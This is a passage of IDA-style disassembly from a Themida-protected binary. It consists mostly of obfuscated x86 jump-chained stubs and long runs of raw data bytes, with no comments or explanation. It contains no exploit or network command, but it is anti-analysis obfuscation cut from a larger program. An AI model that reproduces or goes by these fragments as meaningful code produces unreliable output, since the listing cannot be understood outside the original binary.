		dd 8EFC119h, 0FFF0A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FFE1:				; CODE XREF: Themida_:00595008j
		add	esp, 4
		sub	eax, edi
		add	eax, 4F5F529Ah
		pop	edi
		push	esi
		jmp	loc_591E40
; ---------------------------------------------------------------------------
		dw 505Eh
		dd 120146B8h, 71FE0D09h, 0E8C130D0h, 0CFDDE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590006:				; CODE XREF: Themida_:0059CCCDj
		pop	ebx
		sub	edx, edi
		jmp	loc_59EE90
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 746C27AFh, 0F708EBC1h, 20C381D3h, 0E959723Dh, 0E02Ch
; ---------------------------------------------------------------------------


loc_590024:				; CODE XREF: Themida_:0059E0BBj
		mov	[esp], ebx
		jmp	loc_59358B
; ---------------------------------------------------------------------------
aPsj		db 'PéJÅ',0
		align 2


loc_590032:				; CODE XREF: Themida_:0058EA57j
		pop	ebp
		push	eax
		push	4
		pop	eax
		jmp	loc_59A86A
; ---------------------------------------------------------------------------
		db 0BBh
		dd 190169ACh, 5005EBC1h, 47349FB8h, 5E8C102h, 0F7000E0Dh
		dd 0F70B0554h, 80E91F93h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59005F:				; CODE XREF: Themida_:005A0299j
		mov	ebp, 8A38066h
		sub	esi, ebp
		pop	ebp
		add	ecx, esi
		pop	esi
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59D323
; ---------------------------------------------------------------------------
		db 0E9h, 0D9h, 0E2h
		dd 0C581FFFFh, 4, 4EC81h, 4890000h, 4EC8124h, 89000000h
		dd 0C1BE2434h, 68763A4Eh, 3398h, 85DE9h, 0EC815A00h, 4
		dd 89240489h, 58C589D8h, 4BED815Bh, 0E927E55Ah,	77F2h
dword_5900BC	dd 24048B66h, 377968h, 242C8900h, 5CE9E589h, 0BE000011h
					; DATA XREF: Themida_:0058E29Co
		dd 29C03E58h, 348BF201h, 8089E924h, 815C0000h, 4ECh, 241C8900h
		dd 0C37EE954h, 54010000h, 44810424h, 4CCA0424h,	8B5A0163h
		dd 0C483243Ch, 6954E904h, 11680000h, 0E900001Eh, 4D25h
		dd 0BB241C89h, 1F1A425Bh, 0DD1AE9h, 0C2815A00h,	4, 4BE56h
		dd 0C2810000h, 43357708h, 0EA81F201h, 43357708h, 0F66BE95Eh
		dd 0F68FFFFh, 5F436A3Eh, 63C8E952h, 68520000h, 5AE00C85h
		dd 0E924148Bh, 2AE2h
; ---------------------------------------------------------------------------


loc_590158:				; CODE XREF: Themida_:0059BCAAj
		pop	edi
		sub	edi, ecx
		pop	ecx
		add	edi, 9DD635DBh
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 0FFFFFFFFh
		jmp	loc_5A1697
; ---------------------------------------------------------------------------
		db 58h,	0, 0EBh
		dd 240C8B66h, 0F0ABE9h
		db 0
; ---------------------------------------------------------------------------


loc_590181:				; CODE XREF: Themida_:005A14B3j
		add	esp, 4
		sub	eax, 0C80F22B5h
		add	esi, eax
		pop	eax
		add	esi, 5E3651D6h
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	6A55h
		jmp	loc_59083F
; ---------------------------------------------------------------------------
		db 0F6h, 0DCh, 0F6h
aAVsdz		db 'ԀĢ鄧',0
		dd 5BDE3100h, 0EE1BE9h,	24148700h, 83242C8Bh, 0FF5504C4h
		dd 5D042474h, 19A4E9h, 0D9F78100h, 1BA5A2Ch, 2DE95FFBh
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5901D7:				; CODE XREF: Themida_:00596EBFj
		push	4AC62DC2h
		pop	ecx
		or	ecx, 2B0F40B0h
		dec	ecx
		inc	ecx
		sub	ecx, 6672679Ah
		mov	edi, ecx
		pop	ecx
		or	edi, 3D8654Ah
		xor	edi, 133E0D9Dh
		sub	eax, edi
		pop	edi
		shl	eax, 5
		not	eax
		inc	eax
		sub	eax, 39508810h
		sub	edx, 5B85061Bh
		sub	edx, eax
		add	edx, 5B85061Bh
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_596993
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C481240Ch, 4, 5C24048Fh,	81E28952h, 4C2h
		dd 8BABE900h, 0C6800000h, 0E9F028F6h, 3A3Ch
dword_590250	dd 8B2434FFh, 0A6E92404h, 5100004Fh, 0B8505954h, 66F24F74h
					; DATA XREF: Themida_:0058E154o
		dd 1A5BDA35h, 26C0D12h,	0A8052C8Fh, 35627440h, 62B36D35h
		dd 0D03A9F2Dh, 58C101BDh, 8704C183h, 835C240Ch,	0CE904ECh
		dd 0BA000109h, 1E20906h, 310E702Dh, 5D02925h, 25310E70h
		dd 0E924148Bh, 0C2F5h, 0FF241487h, 835B2434h, 0BA5204C4h
		dd 7A3F1FE3h, 815AD329h, 0FE5338CBh, 9DC3816Bh,	0E93507BFh
		dd 0FB2Bh
; ---------------------------------------------------------------------------


loc_5902CC:				; CODE XREF: Themida_:00597ECBj
		mov	[esp], ebp
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59AC2B
; ---------------------------------------------------------------------------
		db 0BAh, 6Eh, 7
		dd 0D631221Ah, 5EF1295Ah, 0E956D901h, 0FFFFF326h
; ---------------------------------------------------------------------------


loc_5902F4:				; CODE XREF: Themida_:0059E2CDj
		push	3BFEh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 781C6A36h
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	esp
		jmp	loc_59AC25
; ---------------------------------------------------------------------------
		dd 24048F54h, 4B951h, 4C010000h, 8B590424h, 0C481243Ch
		dd 4, 0B7D68h, 24048900h, 6C4AE9h, 1C8B5800h, 4C48124h
		dd 80000000h, 506601C6h, 0E6306BB4h, 0EEC05866h, 11F68006h
		dd 0EDE2E9h, 24048000h,	242C8048h, 24242835h, 0FFF8ACE9h
		dd 5FFA01FFh, 8702EA83h, 248B2414h, 4896624h, 0DFC9E924h
		dd 62B9FFFFh, 1E5ED27h,	0E95659CEh, 0F528h, 33241431h
		dd 248B2414h, 0BB0F6624h, 0E99C2404h, 4285h, 3101ED83h
		dd 0E9D531EAh, 39C5h, 0BF57E389h, 3DC101B5h, 95BA5247h
		dd 815C9814h, 453351E2h, 2E78E93Bh, 0F5010001h,	4BB535Eh
		dd 0E9000000h, 30D8h, 42474FFh,	24048F5Eh, 6824248Bh, 13EAh
		dd 89240489h, 405E0h, 0E9570000h, 2BACh, 5166E828h, 0E828F2B5h
		dd 240C8B66h, 5302C483h, 67E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_590415:				; CODE XREF: Themida_:00597D78j
		mov	dx, [esp]
		add	esp, 2
		push	ecx
		mov	ch, 4Bh
		add	bl, ch
		pop	ecx
		add	bl, 0A3h
		sub	bl, 85h
		add	bl, al
		add	bl, 85h
		sub	bl, 0A3h
		push	7E6Eh
		mov	[esp], edx
		mov	dh, 33h
		sub	esp, 4
		mov	[esp], eax
		mov	al, 2
		or	dh, al
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_599C0C
; ---------------------------------------------------------------------------
		dw 0F668h
		dd 89000028h, 61BF243Ch, 0E969F065h, 0EAD6h
; ---------------------------------------------------------------------------


loc_590460:				; CODE XREF: Themida_:00595C48j
		mov	ebx, 6F251F05h
		xor	ebx, 7BB93D2Dh
		or	edx, ebx
		pop	ebx
		jmp	loc_59F3E9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 148B2434h, 4C48324h,	0E904C483h, 11C6Ch
dword_590484	dd 24048B66h, 50F468h, 24348900h, 0BF575E54h, 4, 555FFE01h
					; DATA XREF: Themida_:0058E224o
		dd 8CE95152h, 680000C2h, 67E0h,	0BA241489h, 1FF854EBh
		dd 0D71B0EBFh, 0FFD7310Fh, 835A2434h, 76E904C4h, 8700006Ch
		dd 0F75D2434h, 3EF581DDh, 0E91FB403h, 0ABCh
dword_5904D4	dd 78E9028Fh, 81FFFFDEh, 4C7h, 243C8700h, 74FF575Ch, 3C8B0424h
					; DATA XREF: Themida_:0058E2ECo
		dd 0FCF4E924h, 0E2810000h, 7E9577CDh, 8904EC83h, 14F72414h
		dd 0E9535A24h, 0E5CFh, 2631E950h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59050E:				; CODE XREF: Themida_:00597072j
		pop	edx
		xor	dh, al
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59BE4F
; ---------------------------------------------------------------------------


loc_590529:				; CODE XREF: Themida_:00596BFEj
		push	esi
		jmp	loc_59F1E5
; ---------------------------------------------------------------------------
		db 66h
		dd 662248BEh, 5E66F531h, 84ED8166h, 0C581664Bh,	216699DFh
		dd 81665DEAh, 6649B1EAh, 14876652h, 0D2F76624h,	24148766h
		dd 55665A66h, 33D4BD66h, 0A4E58166h, 664D6642h,	2BD1C581h
		dd 41F58166h, 0C5816667h, 816657BDh, 66681AC5h,	4DE9EA01h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590583:				; CODE XREF: Themida_:00597A3Fj
		pop	eax
		jmp	loc_58EA5C
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 2EE92404h, 8100005Dh, 0BF04C5E5h,	4EC8131h
		dd 89000000h, 0E0BA2414h, 31205E4Fh, 0EA095AD5h, 0FFE37FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5905B5:				; CODE XREF: Themida_:00597B92j
		mov	ebx, [esp]
		add	esp, 4
		and	dl, cl
		push	dword ptr [esp]
		jmp	loc_59AA6D
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 79h
		dd 146B975h, 0B6F1E9F5h
		db 2 dup(0)
word_5905D2	dw 34FFh		; DATA XREF: Themida_:0058E1A4o
		dd 0FCE95924h, 89000022h, 68532414h, 78D53DEDh,	11C3815Bh
		dd 89872AC3h, 0D6895BDAh, 1C77215Ah, 0DD59E95Eh, 1D2DFFFFh
		dd 810235E3h, 5B61FFC7h, 68C70146h, 1300h, 0BB241C89h
		dd 465B61FFh, 1A1DE9h, 2474FF00h, 48F5D04h, 0C895C24h
		dd 2474FF24h, 48F5904h,	14335C24h, 24143124h, 12A07E9h
		db 0
; ---------------------------------------------------------------------------


loc_590639:				; CODE XREF: Themida_:00596C97j
		sub	ebp, 2262416Dh
		jmp	loc_5A2E52
; ---------------------------------------------------------------------------


loc_590644:				; CODE XREF: Themida_:005A0E10j
		push	1ECD46D7h
		pop	ecx
		xor	ecx, 5E9564B1h
		jmp	loc_597175
; ---------------------------------------------------------------------------
		db 0B8h, 3, 47h
		dd 2D407AE0h, 65565589h, 12F6E9h, 24248B00h, 81242489h
		dd 42404h, 34FF0000h, 2434FF24h, 0E0895058h, 405h, 0D2AE900h
		dd 0ED810000h, 4, 2474FF55h, 242C8B04h,	4C481h,	48F0000h
		dd 24248B24h, 24048F54h, 4BA52h, 6C810000h, 74E10424h
		dd 0E9521EFFh, 1375h, 4C4835Ch,	86244781h, 512DD851h, 0D166857h
		dd 0D4E92211h, 8100010Ah, 4ECh,	24148900h, 10243481h, 8B50A23Fh
		dd 0C4832404h, 3F103504h, 0F75A50A2h, 105D8h, 0BB530000h
		dd 6584402Ah, 0B523FA2Dh, 5D8293Ch, 3CB523FAh, 0FFC6295Bh
		dd 81582434h, 4C4h, 3256800h, 34890000h, 0B813E924h, 0BF570000h
		dd 1E457CE5h, 7CE1EF81h, 0FD011E45h, 242C335Fh,	33242C31h
		dd 3E9242Ch, 0BE00004Eh, 588B7BF0h, 293DB2BDh, 5EF53169h
		dd 0C15DE929h, 81E907E9h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590753:				; CODE XREF: Themida_:0059DF97j
		mov	[esp], ax
		push	edx
		jmp	loc_58E8D5
; ---------------------------------------------------------------------------
		db 0BFh, 33h, 1Bh
		dd 0C14F5DD9h, 814F05E7h, 792C24EFh, 32BAE93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590772:				; CODE XREF: Themida_:00595C42j
		sub	ebx, 600C41BEh
		push	eax
		push	ebp
		mov	ebp, 5F32B74h
		jmp	loc_58F8D4
; ---------------------------------------------------------------------------
		dd 5C243C33h, 0FFDE1DE9h, 4C181FFh, 83000000h, 0C3304C1h
		dd 5ED0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59079E:				; CODE XREF: Themida_:005985EFj
		mov	al, dh
		mov	[ecx], al
		pop	eax
		pop	edx
		jmp	loc_595AFA
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4ED8300h, 8B242C87h, 52E92424h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5907BF:				; CODE XREF: Themida_:00596C09j
		pop	eax
		jmp	loc_59788B
; ---------------------------------------------------------------------------
		db 1, 0CFh, 59h
		dd 31243C33h, 3C33243Ch, 50535C24h, 0E788A2B4h,	0F7C1E9h
		dd 0C5E95C00h, 0F70000F6h, 28E681D6h, 810AD658h, 0C17F01C6h
		dd 0BDD1E9A7h
		db 2 dup(0)
aN1Hcr		db '­1ØhæR',0           ; DATA XREF: Themida_:0058E168o
		align 2
		dw 1C89h
		dd 4EC8324h, 84FEE9h, 1C58000h,	0C004E5C0h, 0F58005E5h
		dd 22E950E5h, 68000088h, 4141h,	123E6E9h, 5AD62900h, 5EB9BF57h
		dd 0EC8315ACh, 241C8904h, 4E506851h, 5E96007h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59083F:				; CODE XREF: Themida_:0059019Cj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 74051974h
		push	6C24h
		mov	[esp], ecx
		jmp	loc_597CCF
; ---------------------------------------------------------------------------
aSILSB		db 'S»I)«;é:b',0
		align 2
		dw 0B951h
		dd 4, 0E959CE01h, 0C483h, 53E08950h, 4BBh, 0F154E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590882:				; CODE XREF: Themida_:0058FB86j
		pop	ebp
		push	7041h
		mov	[esp], edx
		jmp	loc_5961ED
; ---------------------------------------------------------------------------


loc_590890:				; CODE XREF: Themida_:0059B42Aj
		add	esp, 4
		sub	esi, 1A111839h
		jmp	loc_59E19F
; ---------------------------------------------------------------------------
aISH		db '‰,$é',0Ah
		db 'h',0
		dd 8BEE8800h, 79E9240Ch
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5908B3:				; CODE XREF: Themida_:0059814Cj
		add	ebp, eax
		push	esi
		push	145A253Eh
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 0FC51FA0h
		jmp	loc_59283D
; ---------------------------------------------------------------------------


loc_5908CC:				; CODE XREF: Themida_:005A2AC4j
		add	esp, 4
		xor	ecx, 66CA480Dh
		and	ecx, 117F433Ah
		jmp	loc_599467
; ---------------------------------------------------------------------------


loc_5908E3:				; CODE XREF: Themida_:005979CBj
		xor	dword ptr [esp], 57C4A01h
		pop	eax
		push	27BDh
		mov	[esp], edi
		mov	edi, 33F056Dh
		push	ebx
		jmp	loc_5927D6
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2414F724h, 6E6C15Eh,	57BA68h, 24148900h, 765EE950h
		dd 342D0000h, 0F7229126h, 0BDD305D0h, 5AE9D815h, 8100005Bh
		dd 8F079AE9h, 84C1815Eh, 297A958Eh, 18E959CAh, 21FFFFDAh
		dd 0F3815DEBh, 75383B18h, 3915EB81h, 112D2501h,	130ED6Ah
		dd 6A1105D8h, 0E95B30EDh, 788Ch, 0E169BE56h, 0F10118FFh
		dd 59CA315Eh, 815AD629h, 0C26C5AEAh, 57F20117h,	8A439BBFh
		dd 89F7812Ch, 474E0E79h, 2BCCE9h, 24248900h, 4BB53h, 0BE560000h
		dd 62115A0Bh, 5DCFE9h, 0FB015B00h, 8BDD015Fh, 0D5E9241Ch
		dd 810000D0h, 4C7h, 13A3E900h, 815B0000h, 4EFh,	243C3300h
		dd 33243C31h, 895C243Ch, 0BF572404h, 3E0973h, 535FF889h
		dd 5C6DD7BBh, 0F7DBF732h, 0C3EB81D3h, 0E95DBC3Bh, 87EDh
; ---------------------------------------------------------------------------


loc_5909E4:				; CODE XREF: Themida_:0059E90Aj
		mov	eax, [esp]
		push	ecx
		jmp	loc_5A0E15
; ---------------------------------------------------------------------------


loc_5909ED:				; CODE XREF: Themida_:005946ADj
		push	eax
		mov	ah, 50h
		add	ah, 64h
		jmp	loc_599F1E
; ---------------------------------------------------------------------------


loc_5909F8:				; CODE XREF: Themida_:0059B620j
		and	bh, al
		pop	eax
		push	dx
		jmp	loc_5A043F
; ---------------------------------------------------------------------------


loc_590A02:				; CODE XREF: Themida_:00590A57j
		mov	ebp, 1D0D6A11h
		mov	ecx, ebp
		jmp	loc_5A0045
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4EC81h, 4CE90000h, 81FFFFECh, 0FA5B2DEEh, 0EC815B67h
		dd 4, 53D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_590A2D:				; CODE XREF: Themida_:0059B7B5j
		pop	esi
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		db 89h
		dd 8C06E9F0h, 21BE0000h, 0E959146Dh, 6406h, 4EC8358h, 60FBE9h
		dd 2434FF00h, 11C31E9h
		db 0
; ---------------------------------------------------------------------------


loc_590A55:				; CODE XREF: Themida_:00598133j
		push	ecx
		push	ebp
		jmp	loc_590A02
; ---------------------------------------------------------------------------


loc_590A5C:				; CODE XREF: Themida_:0058EAECj
		push	esi
		mov	esi, edx
		mov	ebx, esi
		pop	esi
		jmp	loc_59E73A
; ---------------------------------------------------------------------------


loc_590A67:				; CODE XREF: Themida_:0059C882j
		pop	ebp
		jmp	loc_59B0C5
; ---------------------------------------------------------------------------
		db 68h,	12h, 1Ah
		dd 348B246Fh, 4C48324h,	34FFC631h, 0C4815824h, 4, 0E9F08950h
		dd 7619h, 5E08950h, 4, 8704C083h, 248B2404h, 4C38124h
		dd 0E9000000h, 0C205h, 8258BA2Dh, 4E75353Bh, 0C229F72Ah
		dd 0AEEA8158h, 89593BCDh, 0C7815AD7h, 0FFFFFFFFh, 0F3BA5256h
		dd 8132F650h, 6D275CEAh, 5AD689CAh, 5090E9h, 0FB82BB00h
		dd 0DD019D0Eh, 0E9241C8Bh, 39A4h
; ---------------------------------------------------------------------------


loc_590AE8:				; CODE XREF: Themida_:0059A865j
		not	al
		add	al, 1
		push	ecx
		push	7114h
		jmp	loc_5A202F
; ---------------------------------------------------------------------------
		db 87h
		dd 8BE94BDAh, 81000122h, 4C6h, 92E95200h, 890000DEh, 0AEE92434h
		dd 89000065h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 0FEE9415Ch
		dd 5300002Dh, 0AD6510BBh, 245C0114h, 0E95E5B04h, 744Ch
		dd 8124348Bh, 4C4h, 243C3300h, 33243C31h, 895C243Ch, 94E92434h
		dd 10000D3h, 243C8BFAh,	81E28952h, 4C2h, 4C28100h, 0E9000000h
		dd 8D50h, 0E904C483h, 9D52h
; ---------------------------------------------------------------------------


loc_590B78:				; CODE XREF: Themida_:0059947Cj
		sub	ecx, 7DD528C0h
		xor	ecx, 0DD0F3931h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_59EFEC
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFD7BFh, 0E4C68158h, 5B251628h, 2BA52h
		dd 0EE810000h, 11E0207Bh, 570BC681h, 0D6010097h, 570BB850h
		dd 0C6290097h, 0E1895158h, 118F7E9h, 4BE00h, 73E90000h
		dd 560000D5h, 0D008E1BEh, 4359E926h, 0C8000000h, 2CC80059h
		dd 0EC8159F1h, 2, 1305E9h
		db 0
; ---------------------------------------------------------------------------


loc_590BE9:				; CODE XREF: Themida_:005940E0j
		add	edi, ebp
		jmp	loc_5A1B66
; ---------------------------------------------------------------------------
		dd 4C481h, 4E90000h
		db 12h,	1, 0
; ---------------------------------------------------------------------------


loc_590BFB:				; CODE XREF: Themida_:0059E5CAj
		mov	ebx, [esp]
		jmp	loc_59922B
; ---------------------------------------------------------------------------
		db 81h
		dd 0C264B1EFh, 0B8505E5Fh, 31573569h, 8805D0F7h, 2D132205h
		dd 2CA2202Bh, 0CC0BE9h
		db 0
; ---------------------------------------------------------------------------


loc_590C21:				; CODE XREF: Themida_:0059BA5Fj
		mov	edi, 69AD59F2h
		push	6BD9h
		mov	[esp], edi
		jmp	loc_59B4C6
; ---------------------------------------------------------------------------
aU4?lpSle	db '¸ã4?LP]éLe',0
		dw 5000h
		dd 0F10CCBB8h, 67B9515Eh, 317B854Bh, 0BE5659C8h, 6A85204Dh
		dd 71C681h, 0D6F753DEh,	0D6F7DEF7h, 0D4EAF681h,	0F001278Bh
		dd 35E0D15Eh, 3B05CEF1h, 8158C609h, 360630EEh, 5EF589A9h
		dd 14E9h, 0FFC78300h, 4175E9h, 0B9E95D00h, 5300010Fh, 0FFF3AAE9h
		dd 5DE801FFh, 4EC81h, 3C890000h, 0F366BF24h, 0F831357Eh
		dd 8B2434FFh, 0C481243Ch, 4, 20F068h, 240C8900h, 2F2768h
		dd 24248900h, 4240483h,	58ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_590CCD:				; CODE XREF: Themida_:00598E75j
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	72FDh
		jmp	loc_593BC7
; ---------------------------------------------------------------------------


loc_590CE6:				; CODE XREF: Themida_:0059ED8Bj
		xor	[esp], ebp
		mov	ecx, [esp]
		jmp	loc_590EE0
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Fh, 2474FF56h,	24348B04h, 4C481h, 48F0000h, 4FF5C24h
		dd 40E99C24h, 81FFFFD6h, 4EEh, 24348700h, 105AE95Ch, 2CE90001h
		dd 83FFFFD6h, 0B85004C4h, 43C2F7Ah, 48BC101h, 0D8E95324h
		dd 1FFFFFDh, 0A79E9FAh,	68590000h, 61F2h, 89243C89h, 0DEBA52E7h
		dd 813E5830h, 4E7065C2h, 7E2C117h, 8106E2C1h, 0D7A004C2h
		dd 5AD7012Bh, 5704EF83h, 42474FFh, 24048F5Fh, 2434895Ch
		dd 268h, 2434FF00h, 0FFDA4FE9h,	2CEA80FFh, 801CEA80h, 0D530E7EAh
		dd 59EB885Ah, 6820CB80h, 0BA7h,	0E9241489h, 0C34Dh, 8B2414F7h
		dd 9E92414h, 8100006Bh,	4C4h, 9CC78100h, 57A7FA7Fh, 8324148Bh
		dd 0B4E904C4h, 6800009Eh, 33C3h, 118D3E9h, 0C9F68100h
		dd 523D0570h, 8B0B06BAh, 3E2C116h, 2595C281h, 0BBE94B4Fh
		dd 89000016h, 5EE9242Ch
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_590DF3:				; CODE XREF: Themida_:00594867j
		push	edx
		mov	edx, 6CCD37EAh
		mov	ebx, 0C23C508Ch
		add	ebx, 762B0FD3h
		sub	ebx, edx
		sub	ebx, 762B0FD3h
		pop	edx
		or	ebx, 62F65BFEh
		add	ebx, 1
		sub	ebx, 6C2856A1h
		and	ebx, 7E3C7C8Ah
		jmp	loc_5A0F89
; ---------------------------------------------------------------------------
		dw 5B59h
		dd 2D2EEE81h, 0CE015F69h, 96A8E9h, 59545100h, 426168h
		dd 241C8900h, 893AAFBBh, 7CEB8154h, 68132F20h, 4F8Fh, 0BE243489h
		dd 46693929h, 19BCE9h, 58C12800h, 2C3AF180h, 28CE2CD3h
		dd 0E9CE04C8h, 0CBFCh, 8904EC83h, 0F1BF243Ch, 0E967D56Bh
		dd 0F887h, 65B9C381h, 0F30111DAh, 65B9EB81h, 4E911DAh
		dd 0FF000018h, 2AE92434h, 550000C8h, 0B9AB951h,	4CE96CFBh
		dd 0BA00011Bh, 4, 0FFEF76E9h, 245C01FFh, 241C8B04h, 0E904C483h
		dd 94D2h
; ---------------------------------------------------------------------------


loc_590EC4:				; CODE XREF: Themida_:0059AF1Aj
		push	ecx
		jmp	loc_59BA17
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 32E95104h, 0B60000ECh, 0E9DEF626h, 0FD5h
; ---------------------------------------------------------------------------


loc_590EE0:				; CODE XREF: Themida_:00590CECj
		add	esp, 4
		jmp	loc_597B63
; ---------------------------------------------------------------------------
		db 57h
		dd 42474FFh, 1034E95Fh,	0B9510001h, 56A46DAEh, 8103E9C1h
		dd 0A97066C1h, 93E9813Ah, 1FFEB5Ah, 240C8BCEh, 4C481h
		dd 0C2E90000h, 5C000055h, 0B6241489h, 80D6F6EBh, 0F6805ACEh
		dd 3EEC09Bh, 0E5B3E9h, 4C48100h, 81000000h, 4ECh, 25ABE900h
		dd 0CE810000h, 4755196Ah, 0FFFFEE81h, 0E950FFFFh, 0D3E1h
		dd 33240431h, 248B2404h, 240C3324h, 33240C31h, 0E95C240Ch
		dd 10A1Ch, 0FFD3E2E9h, 2454F6FFh, 0E9515801h, 10FFEh
dword_590F7C	dd 24048B66h, 4377E9h, 6F68100h, 0E9E23B99h, 0EE85h, 8B1C6F21h
					; DATA XREF: Themida_:0058E270o
		dd 8953242Ch, 36B850E3h, 0E9075E63h, 0A4F6h, 5B5DE829h
		dd 7C2BD32Dh, 9EC9E94Ch, 0D5890000h, 4CE9525Ah
		db 8Fh,	2 dup(0)
byte_590FBB	db 66h			; DATA XREF: Themida_:0058E158o
		dd 0E9240C8Bh, 1217Fh, 315AD589h, 0BF575AD5h, 7A484A3Bh
		dd 3C8BF901h, 0D25AE924h
		db 2 dup(0)
word_590FDA	dw 8B66h		; DATA XREF: Themida_:0058E288o
		dd 91682404h, 8900006Bh, 0E2892414h, 4C281h, 8680000h
		dd 89000030h, 268242Ch,	5D000000h, 34FFEA01h, 242C8B24h
		dd 4C481h, 0EC810000h, 4, 0E9240C89h, 0FFFFE41Ch
; ---------------------------------------------------------------------------


loc_591018:				; CODE XREF: Themida_:0059F0CCj
		push	dword ptr [edi+eax*4]
		push	edx
		jmp	loc_59B152
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0B2E95904h, 8100000Ch, 575F5DF1h, 4E1C13Ch, 3635E981h
		dd 0E9C14606h, 5BC18108h, 1653991h, 0F270E9CBh,	0E6C10000h
		dd 8BF68106h, 811B8B5Bh, 4D73BAEEh, 0DEF74656h,	0C89CC681h
		dd 0F2319C4Ch, 8324348Bh, 0F7E904C4h
		db 0F9h, 2 dup(0)
byte_59106F	db 66h			; DATA XREF: Themida_:0058E174o
		dd 5224048Bh, 0C281E289h, 4, 0BEFFE9h, 6710BA00h, 96E91E8Ch
		dd 560000D6h, 0B60622BEh, 0D8EE811Ch, 5369965Ah, 0E32A26BBh
		dd 5BDE3179h, 0CB96F681h, 6C81F218h, 5F8F0824h,	740150C0h
		dd 44810824h, 5F8F0824h, 15E50C0h, 83042474h, 348904ECh
		dd 4AFABE24h, 742938E4h, 5E5E0824h, 8124148Bh, 4C4h, 440E900h
		dd 0C7810000h, 4, 0E9243C87h, 9BB9h, 4C481h, 0DB680000h
		dd 89000027h, 0ACE9240Ch, 0C1FFFFD7h, 0BB5307EEh, 0F18D597Dh
		dd 40E9DE29h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59110F:				; CODE XREF: Themida_:00599B67j
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_59E764
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 6Ch
		dd 776F0824h, 54017388h, 44810824h, 776F0824h, 295A7388h
		dd 81042454h, 4E04246Ch, 8B710627h, 0AEE92414h,	8900011Ch
		dd 5EE9242Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59114B:				; CODE XREF: Themida_:00591E0Cj
		mov	eax, [esp]
		add	esp, 4
		shr	ebp, 5
		or	ebp, 24025F54h
		add	ebp, 5F40383Bh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59E5B2
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 6262EF81h, 835D4866h, 3C8704C7h, 48F5C24h, 24248B24h
		dd 0E904EC83h, 0F545h, 0D5E95750h, 890000E7h, 405E0h, 0C0830000h
		dd 24048704h, 0C346E9h
		db 0
; ---------------------------------------------------------------------------


loc_5911A5:				; CODE XREF: Themida_:005A10E6j
		sub	ah, 0B6h
		xor	bh, ah
		pop	eax
		not	bh
		jmp	loc_596574
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 71C4479Fh, 24048B5Bh, 9EC7E9h, 0F5015D00h, 679FE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5911CA:				; CODE XREF: Themida_:00591A45j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59F0CB
; ---------------------------------------------------------------------------
		dd 240C8B66h, 348B5456h, 4C48324h, 45685753h, 5F772104h
		dd 199FE9h, 0FFC73000h,	9FE92434h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5911FB:				; CODE XREF: Themida_:0059E50Bj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_59AF18
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9565EF5h, 0E54h, 0BB241C89h, 0EBE69ABh, 0FFDDB8E9h
		dd 59CD29FFh, 2A6DE9h, 0D8E95F00h, 53FFFFECh, 11151E9h
		db 0
